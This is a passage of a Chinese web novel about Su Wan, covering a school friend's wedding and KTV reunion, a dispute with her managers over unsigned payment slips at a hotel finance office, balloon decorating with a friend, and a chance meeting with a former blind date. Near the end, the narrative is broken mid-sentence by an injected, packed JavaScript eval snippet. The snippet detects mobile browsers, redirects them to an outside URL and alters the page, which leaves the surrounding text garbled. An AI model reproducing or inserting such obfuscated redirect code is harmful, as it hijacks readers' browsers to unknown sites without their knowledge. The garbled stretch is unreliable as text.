“精彩什么呀,累都累死了。”邓颖嘴上这么说,但脸上的笑没收住。她转头看了一眼儿童餐椅上的小可爱,他已经把那碗饭吃了一大半,嘴角沾着米粒,正在用勺子舀最后几口。邓颖伸手把他嘴角的米粒擦掉,手指在他鼻尖上点了一下。“慢点吃,没人跟你抢。” 小男孩抬起头,冲她笑了一下,露出一排白牙,然后低头继续吃。 两个人边吃边聊,从带娃的趣事聊到最近的电视剧,从电视剧聊到工作。邓颖说她最近在追一部港剧,每天等孩子睡了才能看两集,看到一半就睡着了,第二天忘了看到哪,又得往回翻。苏晚说她也是,经常看剧看到一半就困了,第二天完全不记得剧情。两个人笑成一团,旁边的服务员走过来给她们续了饮料,邓颖说了声谢谢,服务员笑了笑,走了。 快过年了。苏晚的手机开始频繁地响,各种群都在跳消息。职校群最活跃,头像一个接一个地亮,消息一条接一条地往上滚,她划了好几下才划到最上面。起因是有人发了一张照片,是同学兴的婚纱照,站在海边,白色的婚纱拖在沙滩上,新郎穿着一身浅蓝色的西装,两个人笑得很开。下面跟了一长串的“恭喜恭喜”“新婚快乐”“什么时候办酒”。兴在群里说定了日子,请大家来喝喜酒,还说好久没见大家了,正好趁这个机会聚一聚。群里一下子热闹起来,有人说“必须去”,有人说“我来订包厢”,有人说“我把孩子也带来你们帮我带”。大家你一言我一语,很快就定下来了——婚礼当天,在酒店先集合,一起打车过去。 苏晚看着那些消息,手指在屏幕上划着,没说话。她想起职校那几年,和兴她们一起住宿舍的日子。六个人一间,她们一起去食堂打饭,一起去操场跑步,一起在宿舍里煮泡面,面煮好了六个人围着一口小锅,筷子伸进去捞,捞到什么都吃。那时候日子过得很慢,慢到觉得毕业是永远都不会来的事。后来毕业了,各奔东西,有人去了外地,有人留在本地,有人结婚了,有人生了孩子,有人在朋友圈里晒新房子的装修进度。苏晚在上海待了几年,回来之后忙着工作,也没怎么联系。现在大家说要聚,她心里动了一下,在群里回了一个“好的。”两个字,不多,但发了。 同市的同学约好在酒店门口集合,一起打车过去。苏晚到的时候,门口已经站了三个人——佳佳抱着孩子,还有一个男同学,叫阿杰,戴着一副黑框眼镜,穿着一件深蓝色的羽绒服,手里拎着一个红色的礼袋,袋口系着金色的丝带。佳佳比以前胖 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车来了,几个人挤进一辆出租车里。佳佳抱着孩子坐在后排中间,孩子被挤得哼哼了两声,佳佳赶紧拍了两下,又安静了。苏晚坐在靠窗的位置,阿杰坐在副驾驶。 酒店门口。立着红色的拱门,风吹过来,把拱门吹得晃了一下。苏晚看着那个拱门,她想起兴的样子——圆圆的脸,笑起来有两个酒窝,走路的时候喜欢挽着人的胳膊,冬天的时候手总是凉的,非要塞进别人的口袋里。那是多少年前的事了?她算了一下,快十年了。 宴会厅不大,摆了十几桌,紫色的桌布,红色的椅套,舞台背景是一面花墙,粉色的玫瑰,白色的满天星,中间挂着一个金色的“囍”字。苏晚和佳佳、阿杰他们被安排在靠窗那桌,旁边放着一个儿童餐椅。菜还没上,桌上摆着几碟干果,花生、瓜子、开心果,还有一壶茶。苏晚倒了两杯茶,一杯递给佳佳,一杯放在自己面前。佳佳把茶杯端起来吹了吹,抿了一口,放下,开始讲她带娃的日常。 “前天晚上,我家那个小祖宗,半夜两点醒了,非要听故事。我困得眼睛都睁不开,她在那儿拍我的脸,‘妈妈讲故事,妈妈讲故事’。我没办法,闭着眼睛讲了个小兔子拔萝卜,讲到一半我自己都不知道在讲什么,她倒是听得很认真,还问‘然后呢’。”佳佳说着,自己先笑了,端起茶杯又喝了一口。 苏晚听着,一边听一边剥花生,花生壳放在碟子里,花生仁放在纸巾上,剥了七八颗,堆成一小堆。“那后来呢?” “后来我实在讲不动了,就装睡。她叫了几声我没应,自己翻了个身,抱着她的玩具兔子,嘟嘟囔囔说‘兔子你听,妈妈睡着了’,然后就安静了。我偷偷睁眼看,她抱着兔子,眼睛闭着,睫毛一抖一抖的,没一会儿也睡着了。”佳佳说到这儿,手在桌面上比划了一下,手指张开又合拢,“那个样子,又气人又可爱。” 苏晚把纸巾上那堆花生仁推到佳佳面前。“吃。”佳佳低头看了一眼,笑了一下,捏了一颗放进嘴里,嚼了两下。 阿杰在旁边插了一句嘴:“你们聊这些,我插不上话,我就负责吃。”他说着,夹了一块酱牛肉塞进嘴里,嚼得腮帮子鼓鼓的。桌上的人都笑了。 开始上菜了。凉菜先上,四碟,摆在转盘上,转了一圈。苏晚夹了一块酱牛肉,放进嘴里,嚼了两下,咸的,有嚼劲。佳佳抱着孩子,腾不出手,苏晚就接过她的碗,帮她夹菜。她夹了一块糖醋排骨,一根蒜蓉西兰花,一小块清蒸鲈鱼,放在碗里,转过去。佳佳说了声谢谢,低头吃饭,吃了几口,孩子开始闹了,手去抓桌上的筷子,差点把碟子碰到地上。佳佳赶紧用手护住,把孩子的手按下去。 “我来喂她吧,你先吃。”苏晚把碗里的饭扒了几口,放下筷子,接过孩子。孩子被她抱在怀里,愣了一下,看着她,眼睛眨了眨,没哭。苏晚一只手托着她的屁股,另一只手拿着勺子,舀了一勺蒸蛋,吹了吹,送到孩子嘴边。孩子张开嘴,含住勺子,吸了一下,蒸蛋从嘴角漏出来一点,苏晚用纸巾擦掉。她喂得很慢,每一勺都吹了吹,用嘴唇试一下温度,不烫了才送过去。佳佳在旁边大口吃饭,偶尔抬头看一眼,笑一下,又低下头继续吃。 酒席吃到后半段,新郎新娘来敬酒了。兴的脸还是圆圆的,笑起来那两个酒窝还在,但眼角多了一些细纹,不仔细看看不出来。她端着酒杯走过来,看到苏晚,眼睛亮了一下。 “苏晚!好久不见!”她的声音还是那个调调,不高不低,带着一点沙。 苏晚站起来,端着酒杯,和她碰了一下。“新婚快乐。” “谢谢。”兴仰头把酒喝了,杯子见底,她把杯子翻过来,对着苏晚晃了晃,示意自己干了。苏晚也干了,酒是白的,辣,从喉咙一路烧到胃里,她没皱眉头,把杯子放下来。兴拍了拍她的肩膀,转身去敬下一桌了。 酒席散了之后,大家意犹未尽,有人提议去KTV。苏晚跟着去了。KTV在酒店旁边,走路五分钟,一间大包厢,一圈深红色的沙发围着茶几,茶几上摆着几瓶啤酒、两碟水果、一壶冰块。墙上挂着两台电视,一台开着,屏幕上滚动着歌单,蓝色的字一行一行往上跳。有人点了一首《朋友》,前奏响起来的时候,大家都安静了一下,然后有人开始跟着唱,声音不大,但每个人都在唱。苏晚坐在沙发上,手里攥着一瓶啤酒,没喝,瓶身上的水珠凝在掌心,凉凉的。她看着那些人,有的在唱歌,有的在聊天,有的在玩骰子,有的靠在沙发上闭着眼睛。兴不知道什么时候换了一身便装,一件宽大的卫衣,牛仔裤,平底鞋,头发散下来,披在肩膀上。她端着酒杯走过来,在苏晚旁边坐下,胳膊肘搭在苏晚肩膀上,脸凑过来,近得能闻到她嘴里的酒味。 “苏晚,你怎么还是老样子?”她的声音有点飘,像是喝多了,“这么多年了,你怎么一点都没变?” 苏晚侧过头看着她。“哪里没变?” “就是——”兴想了想,手指在太阳穴上点了两下,“这里,没变。你还是那个样子,安安静静的,坐在角落里,不争不抢的。”她顿了一下,笑了一下,“挺好的。” 苏晚没说话,把啤酒瓶举起来,跟她碰了一下。兴仰头喝了一大口,苏晚也喝了一大口。两个人坐在那儿,没说话,音响里在放一首老歌,张信哲的《过火》,声音很大,但她们没觉得吵。 散场的时候,已经是凌晨一点了。苏晚从KTV出来,站在门口,冷风灌进领口,她打了个哆嗦,把外套拉链拉到最上面。佳佳抱着孩子走在前面,孩子睡着了,脸埋在佳佳的肩膀里,嘴巴微微张着,呼吸声细细的。大家三三两两地散了,有人上了出租车,有人往地铁站走,有人被家人接走了。苏晚站在门口,看着那些背影一个一个消失在夜色里。 第二天回程的时候,大家在群里报平安。佳佳发了一条语音,苏晚点开,听见她的声音从那头传过来,带着一点喘,像是在走路。“哎,还不知道下次的聚会是什么时候?”语音发完之后,群里安静了一下,然后有人发了一个拥抱的表情,有人发了一个“苏晚婚礼上”,有人发了一个“等兴生二胎”。苏晚看着那些消息,手指在屏幕上停了一下,打了一行字:“等我结婚,可能有得等了。”发出去之后,大家说“没关系,可以等。”....苏晚看着那些回复,嘴角弯了一下,把手机揣进口袋里。 70. 蛮巧的 又是一年春暖花开。 酒店越来越好了。这是苏晚最直观的感受。酒店大堂的玻璃门日夜不停地转着,带进来的人流比去年多出一倍不止。前台的小姑娘忙得脚不沾地,连抬头打招呼的时间都没有。 不止是客人多,入驻的商户也多了。先是二楼隔出了三分之二的一块区域租给了一家贸易公司,走廊上多了一块亮闪闪的铜牌,上面刻着公司的名字,笔画很细,字体很瘦,看着挺洋气的。再后来四楼、十楼、十七楼以上,一块一块区域被租出去,走廊上陆续挂上了不同的牌子——有的是木质的,有的是亚克力的,有的是金属的,大小不一,颜色各异,挤在一起,像一堵花花绿绿的广告墙。电梯里也开始贴各种公司的指示牌,箭头朝东朝西,指向不同的方向。苏晚有时候按错楼层,电梯门一开,走廊上挂的不是她熟悉的酒店客房的门牌,而是一个陌生的公司招牌,她愣了一下,赶紧按关门键,电梯门慢慢合上,把那个陌生的名字夹在门缝中间,越来越窄,最后看不见了。 行政楼层也开始被“盯上”了。那天李敏推开财务室的门,表情有些复杂:“有人看中咱们这间了,说风水好。” 苏晚正对着电脑敲键盘,闻言抬起头:“什么意思?” “搬家。”李敏把手里的A4纸递过来,纸边在桌沿上磕了一下,发出一声轻响,“新财务室在后楼梯旁边,员工专用电梯通道那边。”她说完,转身走了,高跟鞋踩在地砖上,嗒嗒嗒的,越来越远。 苏晚盯着那张A4纸看了几秒。纸上打印着几行字,宋体,小四,标题加粗——“关于财务室搬迁的通知”。 苏晚去找那间新办公室。推开那扇门的时候,扑面而来一股潮乎乎的霉味。房间小得可怜,一开门就是一条窄窄的过道。过道尽头是两扇窗户,阳光从玻璃外面透进来,落在窗台上,一小块亮的。房间只能放下两张桌子,面对面放,桌沿对着桌沿,留有过道。 “将就一下。”李敏站在门口看了看,叹了口气。 苏晚没说话,只是把窗户推开一条缝,外面的风灌进来,带着后楼梯特有的水泥灰气息。她把手收回来,手指上沾了一层灰,在裤子上蹭了蹭。 自从搬到新办公室之后,苏晚跟大家的距离又远了很多。原本她就不是个很会说话的人,现在更孤独了。每天上班直接从员工电梯坐上来,出了电梯口就是瓷砖地,走几步踩上走廊的深灰色地毯,从硬的脚底感觉到软的脚底,软硬交接的地方有一个小小的坎,她有时候不小心会崴一下脚,赶紧扶住墙,稳一稳,再走。她还不是习惯穿细高跟鞋,虽然穿上之后再配酒店制服,站在镜子前看,确实很飒——腰身收紧了,腿拉长了,走起路来嗒嗒嗒的,有一种“我是专业人士”的气场。但她的脚不这么觉得。每到下午,脚趾就被挤得发疼,脚后跟磨出一层硬茧,走路的时候一瘸一拐的,进了办公室就把鞋踢掉,换上那双从家里带来的老北京布鞋,软底的,踩在地上没声音,舒服多了。 周六,苏晚刚回办公室坐下,椅子还没焐热,门就被敲响了。客房部经理小赖站在门口,脸上的妆化得很精致,嘴唇涂着豆沙色的口红,但她的表情不太好,眉头皱着,嘴角往下撇,像是赶时间,又像是不太高兴。她手里攥着一沓单据,走进来,往苏晚桌上一放,转身就走了。苏晚听见她的高跟鞋踩在走廊上,嗒嗒嗒的,越来越远,然后拐了个弯,听不见了。 苏晚把那沓单据拿起来,一张一张地翻。客房部的费用报销单,有客房迷你吧补货的,有清洁用品的。她逐一核对后面的附件——发票、送货单、入库单。翻到第三张的时候,她停下来,把那张抽出来,仔细看了看。是客房床单、枕套等布草的清洗明细费用,金额不大,但附件齐全,发票上的章也清晰。她把这些单子放在桌角那个待签处的文件框里。那个文件框是李敏专门放的,上面贴了一张标签,手写着“待大老板签字”几个字,字迹潦草,但能看清。她把单子塞进去,没再管它。 下午上班的时候,苏晚正在整理上个月的凭证,把装订好的账本一摞一摞码在柜子里。门又被敲响了,这回敲得很急,咚咚咚的,像是有人在用拳头砸。苏晚转过身,小赖站在门口,这回她的表情更不好了,脸红红的,额头上有一层薄汗,呼吸有点急,胸口的起伏很大。 “苏晚,那张客用清洗明细费用的付款单,支出了吗?”她的声音有点硬,像是在质问。 “还没有,”苏晚站起来,把手里的账本放回桌上。“还没有财务经理和大老板签字。”她的声音不高,但每个字都说得很清楚。 小赖往前走了一步,手撑在桌沿上,身子往前倾。“你先支出去,李姐回来再让她补签。” 苏晚看着她,把椅子往后挪了一点,手指在桌沿上蹭了一下。“这个需要各级领导签字才能录入待审核,而且今天是周末,公对公的账不会立即到账。”她尽量让自己的语气平和,像是在解释一件很简单的事。 小赖不知道是没听懂还是不愿意听,她的眉头皱得更紧了,嘴角往下撇,下巴微微抬起来,声音拔高了。“你先操作,后面手续我来补。客人等着结账,你不支出我怎么跟客人交代?” 苏晚深吸了一口气,把桌面上那沓单据翻开,找到那张布草洗涤的付款凭证,抽出来,放在两个人中间。她用食指点了点单子上的金额,又在“领导审批”那一栏的空格上点了一下。“李经理没签,大老板也没签,系统里录不进去。我没办法跳过这个流程。而且今天是周六,银行对公业务已经关了,就算我录进去了,钱也到不了账。” 小赖的脸色更难看了。她的嘴唇抿成一条线,鼻翼翕动着,手指在桌沿上攥紧,指节发白。她盯着苏晚看了两秒,然后猛地转过身,高跟鞋在地砖上跺了一下,声音很脆。她走到门口,停下来,没回头,声音从那边传过来,硬邦邦的。“那你跟客人说去。”说完推开门,走了。门在她身后慢慢合上,锁舌咔哒一声,弹进去了。 苏晚坐在椅子上,盯着那扇关上的门,手指还搭在那张单子上。她听见小赖的脚步声在走廊上越来越远,然后拐弯,听不见了。她把那张单子放回待签处的文件框里,靠回椅背上,手搭在扶手上,手指慢慢攥紧,又松开。 没多久,李敏回来了。她推门进来的时候,苏晚正在电脑前录入凭证,键盘敲得噼里啪啦响。李敏没回自己的座位,直接站在苏晚桌边,把包放在桌上,转过身看着她。 “刚才小赖来找你了?” 苏晚的手指从键盘上抬起来,放在膝盖上。“嗯。” “说什么了?” 苏晚把事情的经过说了一遍,从上午小赖送单子,到下午来催付款,到她说需要领导签字、周末对公业务已关。她尽量客观,不加评价,只说事实。李敏听着,双手交叉抱在胸前,一只脚往前伸了半步,脚尖点着地面,一下一下的。 “你跟她说了这么多,那你最后操作了没有?”李敏的声音不高,但每个字都带着一种“我已经知道答案了”的语气。 “没有。”苏晚说,“没有你的签字和老板签字,我不能录。” 李敏的眉毛挑了一下,嘴角往下撇了一下,然后她的声音突然拔高了,像是从胸腔里顶出来的。“苏晚,付款这个事情是跨部门合作,你得学会变通。小赖那边客人等着,你不配合,她怎么工作?” 苏晚愣住了。她的手指在膝盖上攥紧,指节发白。她看着李敏,李敏的脸绷着,眉头皱着,嘴唇抿成一条线,下巴微微抬着,像是在等她认错。苏晚张了张嘴,想说“可是”,但那个词卡在喉咙里,没出来。她想起刚才跟小赖解释的那些话——需要签字、周末不能到账——那些话她说了,小赖没听,李敏也不听。她第一次觉得,明明经理也知道周末出账不会立即到账,还希望自己先操作支出,后面不用管。这不是流程的问题,是——她也不知道是什么的问题。 她没说话,低下头,把键盘拉过来,手指搭在上面,没敲。李敏看着她,站了一会儿,拿起包,走回自己的座位。办公室里安静了,只有电脑机箱的嗡嗡声,。苏晚盯着屏幕,光标在那一行数字后面一闪一闪的,她没动。 后来苏晚学“聪明”了。只要是各部门送来的付款单,只要单据齐全、金额无误,她一律先录入系统,先走流程,先点“提交审批”。能有多快就多快,能有多早就多早。她不想再被说“不配合”,不想再被说“不懂变通”。她把那些单子一张一张地录进去,手指在键盘上敲得飞快,屏幕上的数字一行一行地跳,她看也不看就点“确认”。录完了,她靠在椅背上,手指搭在扶手上,觉得自己的效率提高了。 直到有一天,大老板把李敏叫到办公室。苏晚不知道他们说了什么,但李敏回来的时候,脸色不太好。她推开财务室的门,没回自己的座位,直接站在苏晚桌边,把一份文件摔在桌上,纸页散开来,滑到桌边,差点掉下去。 “苏晚,你最近出账是不是太快了?”她的声音压得很低,但每个字都像是从牙缝里挤出来的,“收入要快,支出要慢——这个道理你不知道吗?” 苏晚抬起头,看着李敏。李敏的脸绷着,眼睛瞪着她,下巴微微抬着,嘴唇抿成一条线。苏晚的手指从键盘上抬起来,放在膝盖上,看着李敏,停了两秒。 “上个月,”苏晚的声音不高,但每个字都说得很清楚,“你不是说这类事情你担责吗?” 李敏愣了一下,嘴巴张了张,没说出话。她的手搭在桌沿上,手指慢慢收紧,又松开。她看着苏晚,苏晚也看着她。两个人隔着一张桌子,对视了几秒。办公室里安静得能听见日光灯管的嗡嗡声。李敏把目光移开,拿起桌上那散落的文件,拢了拢,转身走了。苏晚坐在椅子上,看着她的背影,心跳得很快,但手是稳的。她第一次和领导对着干。她说不清楚是什么感觉——不是爽,不是怕,是一种“我不得不这么做”的平静。她把键盘拉过来,手指搭在上面,没敲,盯着屏幕,光标在一行数字后面一闪一闪的。 五一快来临了。邓颖打电话来的时候,苏晚正在整理柜子里的凭证,把去年的账本按月份排好。 “清清,这个周末有空来帮忙吗?”邓颖的声音从听筒里挤出来,带着一点喘,像是在走路。 苏晚把一摞账本放进柜子里,直起腰。“有空。做什么?” “你来了就知道。”邓颖笑了一声,没细说,“周六早上,XX酒店门口见。” “好。”苏晚说。 周六早上,苏晚按照邓颖发来的地址,坐公交车到了XX酒店。酒店不大,门面是浅灰色的石材,门口立着两根罗马柱,柱头上雕着花纹,看着挺气派的。苏晚站在门口,掏出手机给邓颖打电话。 “阿颖,我在门口了。” “我在停车场,你坐客梯下来。”邓颖的声音从听筒里传出来,带着一点回音,像是在地下室里。 苏晚走进酒店大堂,找到客梯,按了负一层。电梯门打开,地下车库的光线暗了不少,头顶的灯管隔几米一根,昏黄昏黄的。她走了一圈,远远看见邓颖的车,后备箱盖开着,像张开的嘴。苏晚走过去,邓颖从驾驶座探出头来,冲她招手。 “来了?快,后备箱的东西帮我拿下来。” 苏晚走到车后面,往里一看——后备箱塞得满满当当,大箱子小箱子摞在一起,用绳子捆着,防止在路上晃。她伸手把最外面那个箱子搬下来,箱子有点沉,她弯着腰,抱着箱子往里走了几步,放在酒店门口的台阶上。箱子的边角裂了一条缝,从缝里露出气球的颜色——粉色的,白色的,还有几个金色的,挤在一起,像是要钻出来。她又回去搬第二箱,第三箱。一共五个箱子,大大小小在台阶上排成一排。 “你等一下,我去找推车。”邓颖从车上下来,把车门关上,钥匙在手里按了一下,车子响了一声,灯闪了闪。她小跑着往车库的角落去了。 苏晚等了一会儿,就见邓颖推着一辆平板推车从柱子后面转出来,轮子碾在水泥地上,咕噜咕噜响。两个人一起把箱子搬上推车,摞好,用绳子简单固定了一下。邓颖推着车,苏晚在旁边扶着,按了电梯,上到三楼。 电梯门打开,走廊里铺着深灰色的地毯,很安静。邓颖推着车走在前面,在一扇双开门前停下来,门是关着的,门把手上挂着一块牌子,写着“XX厅”。邓颖用脚抵住门,苏晚侧身进去把灯打开。灯光一下子亮起来,照得整个大厅通透明亮。门开了,里面空荡荡的,还没摆桌椅,整个大厅显得特别大,说话都有回声。苏晚把箱子一个一个搬下来,放在靠墙的位置。她站在大厅中间,喘着气,额头上沁出一层薄汗,用手背抹了一下。 “我去还推车,你先看看东西。”邓颖说完,推着车又出去了。 苏晚蹲在地上,研究那些箱子里的东西。她把箱子一个个打开,探头往里看。气球、打气筒、支架、丝带——她大概猜到要做什么了。没一会儿,邓颖回来了,她拍了拍手,把外套脱了,搭在椅背上,撸起袖子,露出小臂。 “接了个活,朋友的婚礼现场,气球布置,简单点的。咱们开始吧!” 两个人把箱子一个个打开。第一个箱子里是气球,粉色和白色的,一包一包的,还没充气。第二个箱子里是打气筒和扎带,还有一卷透明的鱼线。第三个箱子里是气球底座和支架,铝合金的,轻,但结实。第四个箱子里是装饰配件——丝带、假花、珍珠串、LED小灯串,还有一卷双面胶。第五个箱子里是备用的东西,还有一个小的蓝牙音箱,邓颖说是用来放背景音乐的。 邓颖蹲下来,把打气筒组装好,插上一根粉色的气球,开始打气。她的动作很熟练,打气筒一上一下,气球就鼓起来了,越来越大,到合适的大小,她把气嘴拔出来,手指捏着气球口,在手指上绕了两圈,打了个结,放在一边。苏晚学着她的样子,拿起另一个打气筒,插上一个白色的气球,打了几下,气球鼓起来,她不知道该打多大,停下来看着邓颖。 “这么大行不行?” 邓颖看了一眼,伸手捏了捏那个气球。“再大一点,对,再打两下——行了。”苏晚把气嘴拔出来,学着邓颖的样子,捏着气球口,在手指上绕了两圈,打了个结,放在地上。两个气球并排躺着,一个粉一个白,圆滚滚的,像两颗水果糖。 两个人打了几十个气球,地上堆了一小片,粉的白的分不清了。邓颖站起来,把手里的打气筒放下,拍了拍膝盖上的灰。她走到支架那边,把铝合金的架子组装起来,一根一根插好,拧紧螺丝。架子是拱形的,两个人合力把它立起来,底部用底座固定好,稳住了。 “来,把气球绑上去。”邓颖拿起一卷鱼线,扯出一截,用剪刀剪断。她把鱼线的一端系在气球口上,另一端系在拱形架子上,一个粉色的气球就挂上去了。苏晚照着她的样子,把一个白色的气球绑在架子上。两个人一个递气球一个绑,配合得越来越顺。粉色和白色交错着挂,一排一排的,从拱形架子的这头挂到那头,气球挤在一起,在灯光下泛着柔柔的光。 邓颖又从箱子里翻出丝带和假花,递给苏晚。“把这个系在气球之间,间隔着来。”苏晚接过来,蹲在架子前面,把丝带绕在架子上,系了一个蝴蝶结,把假花插在蝴蝶结中间。她系了一个,退后两步看了看,歪了,又蹲下来重新系。邓颖在旁边绑气球,偶尔回头看一眼,说一句“可以了”“这个好看”“再往左一点”。两个人忙了一个多小时,拱形架子被气球和丝带装饰得满满当当,粉白相间,间或点缀着几朵假花和珍珠串,在灯光下亮闪闪的。 苏晚站起来,退后几步,歪着头看那个拱门。邓颖也站起来,站到她旁边,胳膊搭在她肩膀上,两个人并排看着成品。 “怎么样?”邓颖问,嘴角翘着,眼睛亮亮的。 苏晚转过头,看着邓颖,竖起大拇指,笑了一下。“棒棒的。” 邓颖笑了一声,伸手在苏晚后脑勺上轻轻拍了一下。“行了,别拍马屁了,把剩下的气球也打了吧,地上还有一堆呢。” 苏晚蹲下来,继续打气球。打气筒一上一下,吱呀吱呀的,气球在手里慢慢鼓起来,越来越大,越来越圆。她盯着那个气球,手指捏着气嘴,绕了两圈,打了个结,放在地上。窗外有阳光照进来,落在那些粉色的气球上,把它们的颜色染得更浅了一些,像被水洗过。她看着那些气球,嘴角弯了一下。 两个人把所有的气球都挂上去之后,邓颖退到门口,歪着头看了几秒,又走进来,调整了几个气球的位置,把一朵歪了的假花扶正,把一条垂下来的丝带重新系紧。她拍了拍手上的灰,从第五个箱子里拿出那个蓝牙音箱,连上手机,放了一首轻音乐。音乐从音箱里流出来,轻轻的,柔柔的,在空荡荡的大厅里回荡。苏晚站在拱门旁边,看着那些气球在灯光下微微晃动,觉得这个大厅忽然变得不一样了——不是空荡荡的了,是有了一点什么,软软的,暖暖的。 “明天新人就来布置其他部分了,我们只管这个拱门。”邓颖把手机收起来,拍了拍手,“行了,收工。” 两个人把剩下的材料和工具装回箱子里,箱子摞在墙角。邓颖去还了推车,回来的时候苏晚已经站在门口等她。两个人一起下了电梯,走出酒店大门。阳光照在脸上,苏晚眯了一下眼睛。 “今天谢谢你啊。”邓颖把车钥匙掏出来,按了一下,“请你吃饭?” “不用了,我回去还有事。”苏晚摇摇头,笑了一下。 “那下次。”邓颖拉开车门,坐进去,发动了车子。她从车窗里探出头来,冲苏晚喊了一句“路上小心”,苏晚挥了挥手,邓颖的车子拐出停车场,汇入车流,不见了。苏晚站在酒店门口,站了一会儿,然后往公交站走。阳光落在她肩膀上,暖洋洋的。 五 一中餐厅加班。 苏晚很早就到餐厅现场。今天行政部门全体放假,支援餐厅算加班,工资双倍。 苏晚站在门口,愣了一下。 今天这场婚礼,比她之前见过的任何一场都大。整个宴会厅被改造成了一个完全不同的空间——不,不是改造,是“覆盖”。天花板上的水晶吊灯全开着,灯光被白色的纱幔过滤了一遍,洒下来的时候变得很柔,像月光透过薄云。舞台背景不是常见的那几种花样,而是一整面用鲜花拼成的墙,不是假花,是真花,玫瑰、百合、绣球,密密地挤在一起,颜色从深粉渐变到浅粉再到白色,像一幅被风吹散的水彩画。舞台边缘铺满了花瓣,不是撒上去的那种,是一朵一朵摆上去的,沿着舞台的轮廓,从这头摆到那头,摆了整整一圈。过道两侧的花柱比平时高一倍,每一柱都用新鲜的满天星和尤加利叶缠绕着,顶端垂下来的纱幔不是白色的,是那种浅浅的香槟色,被空调的风吹得微微晃动,像一层薄雾。 已经有很多人在忙了。不是酒店的员工——苏晚认出那些穿着深色马甲、手里拿着对讲机的人,是婚庆公司的。他们比酒店的人来得更早,已经在做最后的调试了。有几个男生蹲在舞台边上,调整着LED屏幕的角度,屏幕上是新人的婚纱照,一张一张地轮播,每一张都修得精致,连牙齿的反光都调过了。一个穿着西装马甲的大叔站在梯子上,把一串串的LED灯绕在花柱上,灯串还没亮,但能看出布局,从这头蜿蜒到那头,像一条发光的河流。还有几个穿着黑色制服的司仪小姐姐,站在舞台的一角,手里拿着手卡,正在对流程,一个念,一个点头,一个在纸上记什么,表情认真,嘴唇动得很快。 苏晚收回目光,往自己负责的那几桌走去。今天她负责的区域是靠窗的那几桌,从东边数第三桌到第八桌。她开始摆放餐具,从餐车上的框子里取出白色的瓷碟,一只一只放在桌上,碟子边沿和桌沿对齐,用手指量了一下距离——两根手指的宽度,这是培训时教的。碟子放好,放碗,碗放在碟子左边,筷架放在碟子上方,筷子搁在筷架上,筷头朝左,对齐。杯子放在碟子右上方,红酒杯、白酒杯、饮料杯,三个杯子排成一条斜线,杯底在桌布上轻轻转了一下,稳住了。她弯着腰,手上的动作很快,但每一个动作都稳稳的,不慌不忙。 就在她弯腰摆杯子的时候,她感觉到一道目光。不是那种不经意扫过来的目光,是那种——怎么说呢——像是有人一直在看着你,目光落在你身上,不重,但你能感觉到。苏晚直起身,手里还攥着一个红酒杯,顺着那道目光看过去。 舞台边缘,灯光和纱幔的交界处,站着一个男生。 他穿着一件衬衫,没打领带,领口的扣子解了一颗。他的袖子卷到小臂,露出一截手腕,手腕上戴着一只银色的手表,表盘不大,在灯光下反了一下光。他站在那儿,手里拿着一个对讲机,像是在等什么人,但目光没有落在对讲机上,而是落在她这边。苏晚看过去的时候,他的嘴角微微翘了一下,很轻,像是笑,又像是在确认什么。苏晚愣了一下,手里的杯子差点滑出去,她赶紧握紧,把杯子放在桌上。那张脸有点眼熟,但她想了很久,脑子里转了好几圈,没对上号。她低下头,继续摆杯子,但能感觉到那道目光还在,过了一会儿,才移开。 苏晚继续干活。她把那几桌的餐具全部摆好,又检查了一遍,碟子对齐了,杯子排成线了,筷子没放反。她直起腰,活动了一下脖子,颈椎响了一声。然后她又忍不住往舞台那边看了一眼。那个男生不在了,不知道去哪儿了。她收回目光,去餐台那边帮忙搬酒水。 中午的婚宴开始了。客人陆续进场,苏晚端着托盘上菜、倒饮料、撤盘子,忙得脚不沾地。她的腿酸了,脚后跟被高跟鞋磨得生疼,但她没时间停下来。走到主桌旁边上菜的时候,她余光瞥见那个男生坐在主桌旁边的位置上,手里端着一杯酒,正跟旁边的人说话。他的侧脸对着她,线条很干净,鼻梁高,下颌线收得紧,说话的时候嘴角微微往一边歪,笑了一下。苏晚把菜放在转盘上,转了一下,转身走了。 忙到下午两点多,婚宴散了,客人陆续离场,宴会厅里慢慢安静下来。苏晚正在收桌子,把撤下来的碗碟摞在推车上,摞得高高的,一只手扶着,另一只手推着车往传菜口走。传菜口旁边站着一个婚庆公司的男生,正是刚才那个。他正在跟一个同事交代什么。苏晚推着车从他身边经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437436|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,他抬起头,看了她一眼。 “苏晚?”他的声音不高,但很清楚,带着一点试探,像是在确认自己没认错人。 苏晚停下来,推车的把手抵着肚子,她侧过头看着他。近距离看,那张脸更清楚了——眉毛浓,眼睛不大但很深,睫毛很长,看人的时候不躲不闪,很坦然。他的嘴角翘着,带着一点笑,那笑不是客套的,是真的在笑。苏晚盯着他看了两秒。 她想起来了。 他是小姨介绍的一个叔叔的儿子。那天见面是在他家,小姨在他家做客,后来让苏晚去接她,当时他坐在对面,穿着一件深色的夹克,话不多,但每次开口都能把话说到点子上。她当时觉得他蛮帅的,不是那种张扬的帅,是那种——安静的、干净的、看着舒服的帅。但那时候她心里还有一个人的影子,没考虑太多,见了那一次之后就没再联系。后来有一次跟李建聊天,李建无意中提起他的一个朋友,说那个人最近相亲了,对方是个在酒店工作的女生,叫苏晚。苏晚当时愣了一下,问“你说的是谁”,李建说了名字,苏晚翻了个白眼,在电话那头就翻了。“太巧合了,”她说,“虽然男生比较帅。”李建在那边笑,笑得很欠揍,说“要不要我帮你们再约一次”,苏晚说“不用了”,挂了电话。 现在这个人站在她面前,穿着白衬衫,袖子卷着,手里拿着文件夹,在五一劳动节的中餐厅婚宴现场,问她“苏晚?”苏晚的脑子里转过了那些画面,脸上没露出什么,嘴角弯了一下。 “是你啊。”她说,声音不大,但很清楚。 男生笑了一下,那笑从嘴角开始,慢慢延伸到眼睛,眼睛亮了一下。“蛮巧的。” 